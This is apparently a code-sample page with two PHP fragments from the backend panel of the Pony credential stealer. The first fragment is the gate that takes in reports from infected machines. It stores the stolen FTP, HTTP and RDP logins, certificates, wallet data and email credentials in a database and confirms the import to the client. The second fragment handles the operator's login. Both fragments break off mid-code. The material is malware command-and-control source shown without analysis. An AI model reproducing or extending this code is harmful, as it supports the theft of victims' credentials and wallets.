Esempio n. 1
0
     if ($parse_result) {
         $report_status_ok = true;
         if ($enable_http_mode) {
             $url_list_array = array_merge($report->ftp_lines, $report->http_lines);
         } else {
             $url_list_array = $report->ftp_lines;
         }
         $url_list_array = array_merge($url_list_array, $report->rdp_lines);
         if ($enable_email_mode) {
             $email_lines = $report->email_lines;
         } else {
             $email_lines = null;
         }
         $pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, $report->report_hwid, $report->report_version_id, $url_list_array, $report->log->log_lines, $report->cert_lines, $report->wallet_lines, $email_lines);
         if (strlen($ob_data)) {
             $pony_db->add_log_line('ERR_EXTRA_NOISE: ' . $ob_data, CLOG_SOURCE_REPORT, $report_id, $log_extra);
         }
     } else {
         // parse error, write logs
         $log = $report->log->log_lines;
         $pony_db->import_log_list($log, CLOG_SOURCE_REPORT, $report_id);
     }
 } else {
     if ($pony_db->state) {
         $report_status_ok = true;
         $pony_db->add_log_line('NOTIFY_GATE_DUPLICATE_REPORT', CLOG_SOURCE_GATE, null, $ip);
     }
 }
 // check report parsing state and return success status for the client
 if ($report_status_ok) {
     $response_msg = 'STATUS-IMPORT-OK';
Esempio n. 2
0
                    if (!$pony_db->report_id_exists($filtered_items['list'][$ftp_item]['report_id'])) {
                        $filtered_items['list'][$ftp_item]['report_id'] = '';
                    }
                }
            }
            $smarty->assign('filtered_items_count', $filtered_items['count']);
            $smarty->assign('filtered_items_list', $filtered_items['list']);
        }
    }
}
if ($authentication_success) {
    // successfull authentication
    // log it
    if ($authentication_attempt) {
        if (!$disable_ip_logger) {
            $pony_db->add_log_line(get_client_ip(), CLOG_SOURCE_LOGIN, null, $authentication_login);
        }
    }
} else {
    if (!$authentication_attempt) {
        // didn't try to authenticate the user
        // show authentication form
        $smarty->display('header.tpl');
        $smarty->display('login_form.tpl');
        $smarty->display('footer.tpl');
        die;
    } else {
        // tried to authenticate the user, but failed
        // show error message
        $smarty->display('header.tpl');
        show_smarty_error($smarty, 'ERR_WRONG_PASSWORD', '');